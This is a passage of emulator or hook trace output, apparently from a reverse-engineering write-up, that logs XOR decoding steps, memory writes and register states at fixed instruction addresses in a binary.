class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x46</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000f96: mov esi, <span class="number">0</span>x2c</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000fb0: cmp esi, <span class="number">0</span>x59</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f4a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f4b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000faa]</span> MEM<span class="selector-attr">[0x2003f4c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x60</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010015f6: mov esi, <span class="number">0</span>x2</span><br><span class="line"><span class="selector-attr">[XOR @0x100160a]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001610: cmp esi, <span class="number">0</span>x5</span><br><span class="line"><span class="selector-attr">[XOR @0x100160a]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100160a]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000d46: cmp esi, <span class="number">0</span>x23</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span 